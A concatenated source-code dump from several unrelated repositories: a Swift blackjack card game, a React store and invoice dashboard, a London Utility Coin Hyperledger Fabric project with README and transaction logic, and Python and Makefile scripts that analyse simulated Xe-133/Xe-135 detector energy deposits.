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refs/heads/master
|
<repo_name>stevekane/CardTricks<file_sep>/CardTricks/Target.swift
import Foundation
import SpriteKit
protocol Target {
var target: CGPoint { get }
}<file_sep>/CardTricks/Seeker.swift
import Foundation
import SpriteKit
protocol Seeker {
var target: Target? { get set }
func moveToTarget (duration: NSTimeInterval) -> SKAction?
}<file_sep>/CardTricks/Ranks.swift
import Foundation
enum Rank: Int {
case Ace = 0
case Two
case Three
case Four
case Five
case Six
case Seven
case Eight
case Nine
case Ten
case Jack
case Queen
case King
static func Random () -> Rank {
return Rank(rawValue: Int(arc4random_uniform(12)))!
}
}<file_sep>/CardTricks/button.swift
import Foundation
import SpriteKit
class Button: SKSpriteNode {
static let defaultPressedTexture: SKTexture? = SKTexture(imageNamed: "grey_button02")
static let defaultRestTexture: SKTexture? = SKTexture(imageNamed: "grey_button01")
static let defaultPressTime: NSTimeInterval = 0.2
static let defaultOnPress = { () -> Void in }
let pressedTexture: SKTexture? = Button.defaultPressedTexture
let restTexture: SKTexture? = Button.defaultRestTexture
var pressed: Bool = false
var onPress: () -> Void
func press () {
self.pressed = true
self.texture = pressedTexture
}
func unpress () {
self.pressed = false
self.texture = restTexture
self.onPress()
}
init (pressedTexture: SKTexture?, restTexture: SKTexture?, label: SKLabelNode, size: CGSize, pressed: Bool, onPress: () -> Void) {
self.onPress = onPress
super.init(texture: restTexture, color: UIColor.yellowColor(), size: size)
label.position.y = size.height / 2 - label.fontSize
self.userInteractionEnabled = true
self.addChild(label)
}
convenience init (label: SKLabelNode, size: CGSize, onPress: () -> Void) {
self.init(pressedTexture: Button.defaultPressedTexture,
restTexture: Button.defaultRestTexture,
label: label,
size: size,
pressed:true,
onPress: onPress)
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func touchesBegan(touches: Set<UITouch>, withEvent event: UIEvent?) {
self.press()
}
override func touchesEnded(touches: Set<UITouch>, withEvent event: UIEvent?) {
self.unpress()
}
}<file_sep>/CardTricks/BlackJackTable.swift
import Foundation
import SpriteKit
enum GameState {
case Waiting
case Dealing
case Acting
case Scoring
}
class BlackJackTable: SKScene {
var state: GameState = .Waiting
var bg: SKSpriteNode?
var fg: SKNode?
var ui: SKNode?
var deckSpawn: SKNode?
var dealerSpawn: SKNode?
var dealer: Dealer?
var playerSpawns: [SKNode]? = []
var players: [Player] = []
static let dealDuration: NSTimeInterval = 4.0
override func didMoveToView(view: SKView) {
self.bg = self.childNodeWithName("background") as! SKSpriteNode?
self.fg = self.childNodeWithName("foreground")
self.ui = self.childNodeWithName("ui")
self.deckSpawn = fg?.childNodeWithName("deckSpawn")
self.dealerSpawn = fg?.childNodeWithName("dealerSpawn")
guard let deckSpawn = self.deckSpawn, dealerSpawn = self.dealerSpawn,
fg = self.fg, bg = self.bg, ui = self.ui else {
print("missing needed stuff")
return
}
let dealLabel = SKLabelNode(text: "Deal")
let dealButton = Button(label: dealLabel, size: CGSize(width: 100, height: 40),
onPress: { () -> Void in self.dealRound(deckSpawn, rounds: 2) })
fg.enumerateChildNodesWithName("playerSpawn") {
playerSpawn, _ in
self.addPlayer(playerSpawn, layer: fg, player: Player())
}
self.addDealer(dealerSpawn, layer: fg, dealer: Dealer())
dealLabel.fontColor = UIColor.blackColor()
dealLabel.fontSize = 30
dealLabel.fontName = "Damascus"
dealButton.position.y = -300
ui.addChild(dealButton)
}
func addDealer (dealerSpawn: SKNode, layer: SKNode, dealer: Dealer) {
dealer.position = dealerSpawn.position
self.dealer = dealer
layer.addChild(dealer)
}
func addPlayer (playerSpawn: SKNode, layer: SKNode, player: Player) {
player.position = playerSpawn.position
self.players.append(player)
layer.addChild(player)
}
func dealCard (from: SKNode, hand: Hand, card: Card) -> Void {
let duration = 0.3
let halfDuration = duration / 2
let locationInHandCoords = from.convertPoint(from.position, toNode: hand)
let growAndShrink = SKAction.sequence([
SKAction.scaleTo(2.4, duration: halfDuration),
SKAction.scaleTo(1.0, duration: halfDuration)
])
let animation = SKAction.group([
card.moveToTarget(duration)!,
growAndShrink,
SKAction.rotateByAngle(CGFloat(2 * M_PI), duration: duration),
SKAction.playSoundFileNamed("cardSlide5", waitForCompletion: false)
])
hand.addCard(card)
card.position = locationInHandCoords
card.runAction(animation)
}
func dealRound (from: SKNode, rounds: Int) -> Void {
guard rounds > 0 else { return }
guard self.state == .Waiting else { return }
var dealSequence: [SKAction] = []
if let dealer = self.dealer {
dealer.removeHand()
dealer.addHand(Hand())
}
for player in self.players {
for hand in player.hands {
player.removeHand(hand)
}
player.addHand(Hand())
}
dealSequence.append(SKAction.runBlock { self.state = .Dealing })
rounds.times {
round in
if let dealerHand = self.dealer?.hand {
let card = Card(faceUp: round == 0 ? false : true, target: dealerHand)
dealSequence.append(SKAction.runBlock({
self.dealCard(from, hand: dealerHand, card: card)
}))
dealSequence.append(SKAction.waitForDuration(0.1))
}
for player in self.players {
for hand in player.hands {
let card = Card(faceUp: true, target: hand)
dealSequence.append(SKAction.runBlock({
self.dealCard(from, hand: hand, card: card)
}))
dealSequence.append(SKAction.waitForDuration(0.1))
}
}
}
//TODO: adding final delay here as buffer before starting action
dealSequence.append(SKAction.waitForDuration(1.0))
dealSequence.append(SKAction.runBlock { self.state = .Waiting })
self.runAction(SKAction.sequence(dealSequence))
}
}<file_sep>/CardTricks/times.swift
import Foundation
extension Int {
func times (block: (count: Int) -> ()) -> Void {
var count = 0
repeat { block(count: count) } while (++count < self)
}
}<file_sep>/CardTricks/Player.swift
import Foundation
import SpriteKit
class Player: SKNode {
var hands: [Hand] = []
func addHand (hand: Hand) {
self.hands.append(hand)
self.addChild(hand)
}
func removeHand (hand: Hand) {
if let index = self.hands.indexOf(hand) {
self.hands.removeAtIndex(index)
hand.removeFromParent()
}
}
}<file_sep>/CardTricks/Dealer.swift
import SpriteKit
class Dealer: SKNode {
var hand: Hand? = nil
func addHand (hand: Hand) {
self.hand = hand
self.addChild(hand)
}
func removeHand () {
if let hand = self.hand {
hand.removeFromParent()
self.hand = nil
}
}
}<file_sep>/CardTricks/Suits.swift
import Foundation
enum Suit: Int {
case Diamonds = 0
case Hearts
case Spades
case Clubs
static func Random () -> Suit {
return Suit(rawValue: Int(arc4random_uniform(3)))!
}
}<file_sep>/CardTricks/Card.swift
import SpriteKit
let grayShader = SKShader(fileNamed: "gray")
class Card: SKSpriteNode, Seeker {
var rank: Rank
var suit: Suit
var faceUp: Bool
var target: Target?
static let defaultColor: UIColor = UIColor.redColor()
static let defaultSize: CGSize = CGSize(width: 48, height: 64)
static let faceDownTexture: SKTexture = SKTexture(imageNamed: "cardBack_blue1")
static func textureForCard (rank: Rank, suit: Suit) -> SKTexture? {
var suitStr: String {
switch suit {
case .Diamonds: return "Diamonds"
case .Hearts: return "Hearts"
case .Clubs: return "Clubs"
case .Spades: return "Spades"
}
}
var rankStr: String {
switch rank {
case .Ace: return "A"
case .Two: return "2"
case .Three: return "3"
case .Four: return "4"
case .Five: return "5"
case .Six: return "6"
case .Seven: return "7"
case .Eight: return "8"
case .Nine: return "9"
case .Ten: return "10"
case .Jack: return "J"
case .Queen: return "Q"
case .King: return "K"
}
}
return SKTexture(imageNamed: "card\(suitStr)\(rankStr)")
}
init (rank: Rank, suit: Suit, faceUp: Bool) {
let texture = faceUp ? Card.textureForCard(rank, suit: suit) : Card.faceDownTexture
self.rank = rank
self.suit = suit
self.faceUp = faceUp
super.init(texture: texture, color: Card.defaultColor, size: Card.defaultSize)
self.zPosition = 1
}
convenience init (faceUp: Bool) {
self.init(rank: Rank.Random(), suit: Suit.Random(), faceUp: faceUp)
}
convenience init (faceUp: Bool, target: Target) {
self.init(rank: Rank.Random(), suit: Suit.Random(), faceUp: faceUp)
self.target = target
}
func moveToTarget(duration: NSTimeInterval) -> SKAction? {
guard let target = self.target else { return nil }
return SKAction.moveTo(target.target, duration: duration)
}
required init?(coder aDecoder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
}<file_sep>/CardTricks/Hand.swift
import SpriteKit
class Hand: SKNode, Target {
static let CARD_OFFSET: CGPoint = CGPoint(x: 14, y: 2)
var currentBet: Int = 0
var cards: [Card] = []
var target: CGPoint {
get {
return CGPoint(
x: CGFloat(self.cards.count) * Hand.CARD_OFFSET.x,
y: CGFloat(self.cards.count) * Hand.CARD_OFFSET.y)
}
}
func addCard (card: Card) {
self.cards.append(card)
self.addChild(card)
}
func removeCard (card: Card) {
if let index = self.cards.indexOf(card) {
self.cards.removeAtIndex(index)
card.removeFromParent()
}
}
}
|
677e7e479788ea17e3b096436885d1826ec0bbc6
|
[
"Swift"
] | 11 |
Swift
|
stevekane/CardTricks
|
8de4156d50911a1f9068786584fead3158c18a26
|
ff86481d034d47a31080c6ca52596228f64f1924
|
refs/heads/master
|
<file_sep>import * as Actions from './constants';
export function saveProducts(data) {
return {
type: Actions.SAVE_PRODUCT_SUCCESS,
data,
};
}
<file_sep>import * as Actions from './constants';
import {getToken} from '../../helper/helper';
const initState = {
data: {
PaymentMethods : [],
Stores : [],
...getToken(),
},
dataRev :[]
//loading: false,
};
export default function settingReducer(state = initState, action = {}) {
switch (action.type) {
case Actions.LOADING_SETTING_SUCCESS:
localStorage.setItem('token_data', JSON.stringify(action.data));
return Object.assign({}, state, { data: action.data, dataRev: action.dataRev });
case Actions.ADD_STORE:
//localStorage.setItem('token_data', JSON.stringify(action.data));
localStorage.setItem('token_data', JSON.stringify(action.data));
let data = state.data;
data.Stores= [].concat(data.Stores, action.data)
return Object.assign({}, state, { data: data });
default:
return state;
}
}
<file_sep>import React,{ Component } from 'react';
import {connect} from 'react-redux';
import {Breadcrumb} from 'antd';
import {withRouter} from 'react-router';
import {Link} from "react-router-dom";
const arrayUrl = [{name: "Home", pathname: '/'}, {nameDataSetting: 'Stores'}, {nameDataSetting: 'PaymentMethods'}, {name: 'Invoice Detail'}];
class BreadcrumbStore extends Component {
getListBreadcrumb = () => {
const {location:{pathname}, setting} = this.props;
const splitString = pathname.split('/');
if(splitString < 1) {
return arrayUrl[0];
}
const results = splitString.map((path, index) => {
const urlPath = arrayUrl[index];
if (urlPath.name) {
return urlPath;
}
const listValueId = setting[urlPath.nameDataSetting];
const findValue = listValueId.find(value => value.Id == path);
const url = splitString.filter((v, i) => i <= index ).join('/');
return {
name: findValue && findValue.Name? findValue.Name: 'Undefined',
pathname: splitString.length - 1 !== index ? url : null,
}
});
return results;
};
render() {
const lists = this.getListBreadcrumb();
return (
<div>
<Breadcrumb>
{lists.map((list, index) => {
if (list.pathname) {
return (
<Breadcrumb.Item key={index}><Link to={list.pathname}>{list.name}</Link></Breadcrumb.Item>
)
} else {
return (<Breadcrumb.Item key={index}>
{list.name}
</Breadcrumb.Item>)
}
}
)}
</Breadcrumb>
</div>
);
}
}
const mapStateToProps = state => {
return {
setting: state.setting.data,
}
};
export default connect(mapStateToProps)(withRouter(BreadcrumbStore));
<file_sep>import React,{ Component } from 'react';
import logo from '../../logo.svg';
import Home from '../../pages/Home';
import Stores from '../../pages/Stores';
import Invoice from '../../pages/Invoice';
import InvoiceDetail from '../../pages/InvoiceDetail';
import CreateStore from '../../pages/CreateStore';
import {BrowserRouter as Router, Switch, Route, Link} from "react-router-dom";
class Header extends Component {
render() {
return (
<header className="App-header">
<img src={logo} className="App-logo" alt="logo" />
<Router>
<ul className="list-inline">
<li className="list-inline-item"><Link to="/">Home</Link></li>
{/*<li className="list-inline-item"><Link to="/stores">Store</Link></li>*/}
{/*<li className="list-inline-item"><Link to="/invoice">Invoice</Link></li>*/}
</ul>
<Switch>
<Route path="/createstore" component={CreateStore} exact/>
<Route path="/:idstores" exact component={Stores} />
<Route path="/:idstores/:idpaymentmethod" exact component={Invoice} />
<Route path="/:idstores/:idpaymentmethod/:idinvoice" exact component={InvoiceDetail} />
<Route path="/" component={Home} exact/>
</Switch>
</Router>
</header>
);
}
}
export default Header;
<file_sep>import request from '../../utils/request';
import queryString,{stringify} from 'query-string';
export const getStore = () => request.get('/iis/iotstuff/api/eops/bootstrap');
export const getRevenue = () => request.get('/iis/iotstuff/api/eops/revenue/stores');
export const getStoreID = (StoreID) => request.get(`/iis/iotstuff/api/eops/Revenue/Store/${StoreID}/PaymentMethods`);
export const getPaymentID = (PayID) => request.get(`iis/iotstuff/api/eops/Invoices/Search?paymentMethodId=${PayID}`);
export const getInvoice = (StoreID,PayID) => request.get(`iis/iotstuff/api/eops/Invoices/Search?storeId=${StoreID}&&paymentMethodId=${PayID}`);
export const creatStore = (data) => request.post(`iis/iotstuff/api/eops/store`,queryString.stringify(data));
<file_sep>import request from '../../utils/request';
export const getProduct = (ProductId) => request.get(`/iis/iotstuff/api/eops/product/${ProductId}`);
<file_sep>import React from 'react';
import {withRouter} from 'react-router';
import {getPaymentID} from '../modules/setting/service';
import {connect} from "react-redux";
//import ComProduct from "../compoments/products/ComProduct";
import {parse} from "../helper/query-string"
import {Link} from "react-router-dom";
import BreadcrumbStore from "../compoments/Breadcrumb/BreadcrumbStore";
class Invoice extends React.Component {
constructor(props){
super();
const pathname = props.location.pathname;
//console.log('pathname',parse(pathname));
//this.paymentMethodId = parse(pathname).paymentMethodId;
const splitString = pathname.split('/');
this.paymentMethodId = splitString[splitString.length -1];
//console.log("this.paymentMethodId", this.paymentMethodId);
console.log('111',this.paymentMethodId);
this.state = {
data : []
}
}
async componentDidMount(){
try {
if (this.paymentMethodId) {
const data = await getPaymentID(this.paymentMethodId);
// const dataproduct = await getProduct(this.Id);
//console.log('111',data);
this.setState({
data: data ? data : [],
})
}
} catch (e) {
}
}
countQty = (LineItems) =>{
//console.log('111',LineItems);
const arrSum = LineItems.reduce((a,b) => {
return a+b.Quantity
},0)
return arrSum;
}
countTotal = (LineItems,TaxRate) =>{
//console.log('111',LineItems);
const arrSum = LineItems.reduce((a,b) => {
return a+b.Price
},0)
return Math.round(arrSum*(1+TaxRate));
}
render() {
const {data} = this.state;
const {setting:{PaymentMethods,Stores}}= this.props;
return (
<div>
<BreadcrumbStore/>
<table className="table">
<thead>
<tr>
<th scope="col">Invoice</th>
<th scope="col">Store Name</th>
<th scope="col">Qty</th>
<th scope="col">Line Total</th>
</tr>
</thead>
{data.map((item, index) =>{
const findNameStore = Stores.find(NameStore => NameStore.Id === item.StoreId);
return(
<tbody key={item.Id}>
{/*{item.LineItems.map((lineItem, index) =>*/}
{/* <ComProduct item={lineItem} key={lineItem.Id}/>*/}
{/*)}*/}
<tr>
<td>{item.Id}</td>
<td><Link to={location => `${location.pathname}/${item.Id}`}>{findNameStore && findNameStore.Name ? findNameStore.Name : ''}</Link></td>
<td>{this.countQty(item.LineItems)}</td>
<td>${this.countTotal(item.LineItems,item.TaxRate)}</td>
</tr>
</tbody>
)
})}
</table>
</div>
)
}
}
const mapStateToProps = state => {
//console.log(state.setting)
return {
setting: state.setting.data,
}
};
export default connect(mapStateToProps) (withRouter(Invoice));
<file_sep>import * as Actions from './constants';
export function getSetting() {
return {
type: Actions.LOADING_SETTING,
};
}
export function addStore(data) {
return {
type: Actions.ADD_STORE,
data:data,
};
}
<file_sep>export const LOADING_SETTING = 'LOADING_SETTING';
export const LOADING_SETTING_SUCCESS = 'LOADING_SETTING_SUCCESS';
export const LOADING_SETTING_ERROR = 'LOADING_SETTING_ERROR';
export const ADD_STORE = 'ADD_STORE';
<file_sep>import React from 'react';
import {connect} from "react-redux";
import {BrowserRouter as Router, Switch, Route, Link} from "react-router-dom";
class Home extends React.Component {
// constructor(){
// super();
// this.state = {
// data : {
// PaymentMethods : [],
// Stores : []
// }
// }
// }
// componentDidMount() {
// request
// .get('/iis/iotstuff/api/eops/bootstrap')
// //.get('/products')
// .then(response => response.data)
// .then(data => {
// //console.log(data)
// // const {PaymentMethods,Stores} = data;
// // const paymentstore = PaymentMethods.map(value => {
// // const findStore = Stores.find(store => store.Id === value.Id);
// // return {
// // ...value,
// // ...findStore
// // }
// // });
// this.setState(
// {
// data:data
// }
// )}
// )
// .catch(e => console.log('error',e))
// }
render() {
//const {data} = this.state;
const {setting,getRev=[]} = this.props;
//console.log('setting',setting);
return (
<div>
{/*<h3>List PaymentMethods</h3>*/}
{/*<div>*/}
{/* {setting.PaymentMethods.map(item => (*/}
{/* <div key={item.Id}>*/}
{/* <span>{item.Id}</span><br />*/}
{/* <span>{item.Name}</span><br />*/}
{/* <hr/>*/}
{/* </div>*/}
{/* ))}*/}
{/*</div>*/}
<h3 className="mt-4">List Stores</h3>
<Link className="btn btn-primary mt-4" to="/createstore"> Create Store</Link>
<div className="row mt-2">
{setting.Stores.map(item => {
const findStore = getRev.find(revstore => revstore.StoreId === item.Id);
return(
<div className="col-4 mt-4" key={item.Id}>
<div className="card">
<div className="card-body">
<Link to={`/${item.Id}`} className="badge badge-success">{item.Name}</Link><br />
<p><Link to={`/${item.Id}`}>{item.Description}</Link></p>
<span>Revenue : <b className="text-dark">{findStore && findStore.Revenue ? findStore.Revenue : ''}</b></span>
</div>
</div>
</div>
)
})}
</div>
</div>
)
}
}
const mapStateToProps = state => {
//console.log(state.setting)
return {
setting: state.setting.data,
getRev: state.setting.dataRev,
}
};
export default connect(mapStateToProps) (Home);
<file_sep>export function getToken() {
const token_store = localStorage.getItem('token_data') || JSON.stringify({
PaymentMethods : [],
Stores : []
});
return JSON.parse(token_store);
}
|
48ec911f6bbc12078b2eba779167167851d04382
|
[
"JavaScript"
] | 11 |
JavaScript
|
hoanganhover/eoapp
|
fff6bb8c6fe72b7a88c9d00077647dec250086b6
|
5ec5758dec20d5628d0fc68fab49793e7381be00
|
refs/heads/master
|
<file_sep># London Utility Coin
This is the complete backend code for the London Utility Coin (LUC) Hyperledger Fabric blockchain. LUC is a cryptocoin which incentives users to save on utility usage using the motivation of a simple cryptocurrency. LUC can be traded to benefit utility users who may be struggling to pay bills and can be collected by simply using less utilities than others.
LUC uses Hyperledger Fabric Blockchain with the Hyperledger Composer framework.
### Other Projects using LUC
- [London Utility Coin Portal (LUC front-end access portal).](https://github.com/eklass3/LUC-Console)
- [London Utility Coin Arduino Package (LUC meter hardware code)](https://github.com/eklass3/LUC-Arduino).
## Installation
1. Follow the [hyperledger composer setup tutorial](https://hyperledger.github.io/composer/latest/installing/installing-index) to get pre-requisites and set up the development environment.
2. Once the development environment is set up, pull the london-utility-coin project to the fabric-dev-servers folder.
Set up complete!
## Usage
### Start up:
1. Run following command in your fabric-dev-servers folder.
```bash
./startFabric.sh
./createPeerAdminCard.sh
```
2. Run following commands in your /fabric-dev-servers/london-utility-coin:
```bash
composer archive create -t dir -n .
composer network install --card PeerAdmin@hlfv1 --archiveFile london-utility-coin@{CURRENT_LUC_VERSION}.bna
composer network start --networkName london-utility-coin --networkVersion {CURRENT_LUC_VERSION} --networkAdmin admin --networkAdminEnrollSecret adminpw --card PeerAdmin@hlfv1 --file networkadmin.card
composer card import --file networkadmin.card
```
3. Check if LUC is up and running.
```bash
composer network ping --card admin@london-utility-coin
```
### Development Options:
Working on LUC or any hyperledger blockchain can be tricky. I recommend using **Hyperledger composer playground** *note this is depreciated as of August 2019, but still works well for now.
To start playground run this command in your london-utility-coin directory:
```bash
composer-playground
```
**Composer REST API**
It is easy to start the REST server API for LUC.
Run this command in your london-utility-coin directory:
```bash
composer-rest-server
```
### Shut down:
1. Run the following commands in your fabric-dev-servers folder.
```bash
./stopFabric.sh
./teardownFabric.sh
```
*LUC runs on the hyperledger composer framework. For more detailed (and better) information on many of these commands see the [composer documentation.]([https://hyperledger.github.io/composer/latest/index.html](https://hyperledger.github.io/composer/latest/index.html))*
<file_sep>
/**
* Track the trade of a luc from one trader to another
* @param {org.london.luc.Trade} trade - the trade to be processed
* @transaction
*/
async function tradeCoin(trade) {
let assetRegistry = await getAssetRegistry('org.london.luc.Coin');
//Create new coins
const factory = getFactory();
const addCoin = factory.newResource('org.london.luc', 'Coin', 'COIN_' + Date.now());
const removeCoin = factory.newResource('org.london.luc', 'Coin', 'COIN_' + (Date.now()+1));
//Update coin for new user
addCoin.quantity = trade.amount;//Set quantity
addCoin.owner = trade.newOwner;//Set user
//Update "anti-coin" for old user
removeCoin.quantity = -trade.amount;//Set quantity
removeCoin.owner = trade.oldOwner;//Set user
// persist the state of the luc
await assetRegistry.add(addCoin);//Add coins to registry.
await assetRegistry.add(removeCoin);
}
/**
* Awards coins to a user based on their consumption.
* @param {org.london.luc.AwardCoin} award
* @transaction
*/
async function awardCoins(award) {
//Get registry of particpants
let participantRegistry = await getParticipantRegistry('org.london.luc.User');
let coinRegistry = await getAssetRegistry('org.london.luc.Coin');
let WhtoLUCRegistry = await getAssetRegistry('org.london.luc.WhtoLUC');
const user = award.owner;//Get the new owner of the coins
const averageConsumption = await getAverageConsumption();//Get the average consumption
console.log('AVERAGE CONSUMPTION ' + averageConsumption);
//If the user's consumption is less than the average.
if (user.consumption < averageConsumption) {
//Calculate difference, calculate coins to be awarded
const consumptionDelta = averageConsumption - user.consumption;
//Get most recent Wh conversion.
const allConversions = await WhtoLUCRegistry.getAll();
const awardedCoins = consumptionDelta * allConversions[0].conversion;
console.log('ADDING ' + awardedCoins + ' TO ACCOUNT');
//Create new coins
const factory = getFactory();
const coin = factory.newResource('org.london.luc', 'Coin', 'COIN_' + Date.now());
coin.quantity = awardedCoins;//Set quantity
coin.owner = user;//Set user
await coinRegistry.add(coin);//Add coins to registry.
}
user.consumption = 0;
//Update user
await participantRegistry.update(user);
}
/*
* Gets the average consumption of a household on the chain.
* Useful when calculating how many coins a household should be awarded.
*/
async function getAverageConsumption() {
//Get registry of particpants
let participantRegistry = await getParticipantRegistry('org.london.luc.User');
//Get all users
const users = await participantRegistry.getAll();
//Add all consumption
let totalConsumption = 0;
for (let i = 0; i < users.length; i++) {
totalConsumption += users[i].consumption;
}
return (totalConsumption/users.length);//Return average.
}
/**
* Updates the consumption of a particular user
* @param {org.london.luc.UpdateConsumption} consumptionUpdate
* @transaction
*/
async function updateConsumption(consumptionUpdate) {
//Get registry of particpants
let participantRegistry = await getParticipantRegistry('org.london.luc.User');
let user = consumptionUpdate.user;
//Update consumption
user.consumption += consumptionUpdate.consumption;
//Update user
await participantRegistry.update(user);
}
|
37dcc90a7e68816ce142684dd9b006847799cdf8
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
eklass3/London-Utility-Coin
|
b67deca233da9af344ff3d79bdd2cbc92a75043b
|
9475f7ae7bcca4b5d107c4679db4d860ce5e7b13
|
refs/heads/main
|
<repo_name>MarielleAkser/Master_thesis<file_sep>/Makefile
.PHONY: B1 sauna
all:
@echo "Choose B1 or sauna"
B1:
cd B1 && docker build -t b1_out .
# --------------------------------------- #
# Open a new terminal window and open ssh #
# --------------------------------------- #
docker run --rm -i -p 55555:22 -t b1_out bash -l
sauna:
cd sauna && docker build -t sauna_out .
# --------------------------------------- #
# Open a new terminal window and open ssh #
# --------------------------------------- #
docker run --rm -i -p 55555:22 -t sauna_out bash -l
compile:
cd B1 && docker build -t b1_out .
cd sauna && docker build -t sauna_out .
<file_sep>/data/Xe133/result_CEhist_xe133_tripleRun4_AND_xe135_tripleRun1.py
import os
import glob
import numpy as np
import pandas as pd
import plotly.express as px
import plotly.graph_objects as go
# Opens the corresponding files, Run5 has 10 000 events
xe133_files = glob.glob("xe133_tripleRun4_*.csv")
xe135_files = glob.glob("../Xe135/xe135_tripleRun1_*.csv")
li_133 = []
for filename in xe133_files:
_df_133 = pd.read_csv(filename, comment="#", header = None)
li_133.append(_df_133)
_data_133 = pd.concat(li_133, axis=0)
data_133 = _data_133[[7]]
data_133.columns = ["CE_133"]
li_135 = []
for filename in xe135_files:
_df_135 = pd.read_csv(filename, comment="#", header = None)
li_135.append(_df_135)
_data_135 = pd.concat(li_135, axis=0)
data_135 = _data_135[[7]]
data_135.columns = ["CE_135"]
# Only get values in coincidence & when gamma = 31.6 keV and CE is between 0.04 and 0.5
data_133 = data_133[ (data_133["CE_133"] > 0)]
data_135 = data_135[ (data_135["CE_135"] > 0)]
fig = go.Figure()
fig.add_trace(go.Histogram(
x = data_133["CE_133"],
# xaxis2 = 'x2',
yaxis = 'y2',
marker = dict(
color = 'rgba(63,121,181,1)')
))
fig.add_trace(go.Histogram(
x = data_135["CE_135"],
# xaxis = 'x1',
yaxis = 'y1',
marker = dict(
color = 'rgba(63,121,181,1)')
))
fig.update_layout(
autosize = False,
xaxis = dict(
zeroline = False,
domain = [0,1],
showgrid = False
),
yaxis = dict(
zeroline = False,
domain = [0,0.45],
showgrid = False
),
yaxis2 = dict(
zeroline = False,
domain = [0.50,0.95],
showgrid = False
),
height = 600,
width = 1000,
bargap = 0,
hovermode = 'closest',
showlegend = False,
xaxis_title="[MeV]",
yaxis_title="Counts",
yaxis2_title="Counts",
title={
'text': "Histogram over the energy deposit for the conversion electrons",
'y':0.9,
'x':0.5,
'xanchor': 'center',
'yanchor': 'top'}
)
fig.show()<file_sep>/data/Xe133/result_3Dplot_xe133_tripleRun4 copy.py
import os
import glob
import numpy as np
import pandas as pd
import plotly.express as px
import plotly.graph_objects as go
# Opens the corresponding files, Run5 has 10 000 events
all_files = glob.glob("xe133_tripleRun4_*.csv")
li = []
for filename in all_files:
_df = pd.read_csv(filename, comment="#", header = None)
li.append(_df)
_data = pd.concat(li, axis=0)
data = _data[[1, 7, 11]]
data.columns = ["gamma", "CE", "beta"]
# Only get values in coincidence & when gamma = 31.6 keV and CE is between 0.04 and 0.5
data = data[(data["gamma"] == 0.0316)]
data = data[ (data["CE"] > 0)]
data = data[(data["beta"] > 0)]
fig = go.Figure()
fig.add_trace(go.Histogram2dContour(
x = data["CE"],
y = data["beta"],
colorscale = 'Blues'))
fig.add_trace(go.Histogram(
y = data["beta"],
xaxis = 'x2',
marker = dict(
color = 'rgba(63,121,181,1)'
)
))
fig.add_trace(go.Histogram(
x = data["CE"],
yaxis = 'y2',
marker = dict(
color = 'rgba(63,121,181,1)'
)
))
fig.update_layout(
autosize = False,
xaxis = dict(
zeroline = False,
domain = [0,0.8],
showgrid = False
),
yaxis = dict(
zeroline = False,
domain = [0,0.8],
showgrid = False
),
xaxis2 = dict(
zeroline = False,
domain = [0.83,1],
showgrid = False
),
yaxis2 = dict(
zeroline = False,
domain = [0.85,1],
showgrid = False
),
height = 600,
width = 1000,
bargap = 0,
hovermode = 'closest',
showlegend = False,
xaxis_title="CE [MeV]",
yaxis_title="Beta [MeV]",
yaxis2_title="Counts",
xaxis2_title="Counts",
title={
'text': "Histogram over the energy deposit for the beta- and CE-particle for Xe-133",
'y':0.9,
'x':0.5,
'xanchor': 'center',
'yanchor': 'top'}
# legend_title="Particle count",
)
fig.show()<file_sep>/data/Xe135/result_xe135_betaRun2.py
import numpy as np
import matplotlib.pyplot as plt
from mpl_toolkits import mplot3d
from numpy.lib.function_base import average
# Opens the corresponding files, Run2 1 000 000 events
eDep_file_t0 = np.genfromtxt('xe135_betaRun2_t0.csv', delimiter=',')
eDep_file_t1 = np.genfromtxt('xe135_betaRun2_t1.csv', delimiter=',')
# From files to array:
eDep = []
for rad in eDep_file_t0:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
for rad in eDep_file_t1:
a_row = []
for tal in rad:
a_row.append(tal)
eDep.append(a_row)
# To calculate when the number of events converges
antal_events = 0
antal_coinc = 0
procent_coinc = []
# Create a triple coincidence arrays
coincidence = []
all_energy_eDep = []
for rad in eDep:
antal_events += 1
"""beta:[3]"""
t = []
aSum = rad[1] + rad[3] + rad[5] + rad[7] + rad[9] + rad[11]
if (rad[3] > 0 ):
coincidence.append(rad[3])
antal_coinc += 1
t.append(antal_events)
t.append(antal_coinc)
procent_coinc.append(t)
if (aSum > 0):
all_energy_eDep.append(aSum)
c = np.array(coincidence)
# Get the correct values for the beta distribution:
with open('XE135_beta_spectrum.txt') as f:
values = []
for line in f:
rad = line.strip("\n").split(" ")
en_rad =[]
for tal in rad:
en_rad.append( tal )
values.append(en_rad)
values.pop() # Remove the last empty line
# Create a array with float insted of strings
h = []
for row in values:
r = []
for nr in row:
r.append( float(nr) )
h.append(r)
x = [] # energy
y = [] # probability, not normalized
for i in range(len(h)):
x.append(h[i][0] / 1000 ) # To get the energy in MeV
y.append(h[i][1])
# Need to normalize y:
y_norm = (np.array(y) / sum(y) ) * len(eDep) # len(eDep) = nr of events
print("Total number if particles generated: ", len(eDep) )
print("-------------------------- BETA --------------------------")
print("Total nr of beta particles detected: ", len(c),
"\n which gives the %: ", len(c) / len(eDep) )
print("----------------------------------------------------------")
# print(coincidence) # [[1,2,3],[4,5,6], ] skriver ut alla rader
# print(c) #[[1 2 3 ] Skriver bara ut tre i början och dom tre sista
#[4 5 6]]
print("% for betaRun2 Xe135:", (len(c) / len(eDep)) * 100 )
print("total energy deposit > 0: ", len(all_energy_eDep))
#######################################################################
# 1D histogram plot over Beta energy together with the 'correct' values
# #--------------------------------------------------------------------
# Plot
plt.plot(x,y_norm, label="True", color="black")
plt.hist(c, bins=330, label="Beta energy in beta cell", density=False ,
alpha=0.8, color="#1b7837")
plt.hist(all_energy_eDep, bins=330, label="Beta energy from simulation \nin any detector",
density=False, histtype='step', facecolor='g', edgecolor="#762a83")
plt.xlabel("Energy [MeV]")
plt.ylabel("Counts")
plt.title("Energy distribution for the beta particle of Xe-135")
plt.legend()
plt.xlim(0,0.910)
plt.savefig("plot_BetaEnergy_betaRun2_xe135.png")
plt.show()
#######################################################################
# # ####################################
# 1D histogram plot over CE
# #-----------------------------------
# print( max(eDep_CE))
# plt.hist(eDep_CE, bins=100, label="All detected CE")
# plt.hist(c[:,1], bins=100, label="CE in coincidence")
# plt.legend()
# plt.title("Histogram over the conversion electron")
# plt.xlabel("Energy [MeV]")
# plt.ylabel("Counts")
# plt.xlim(0, 0.05)
# plt.ylim(0)
# plt.show()
# ####################################
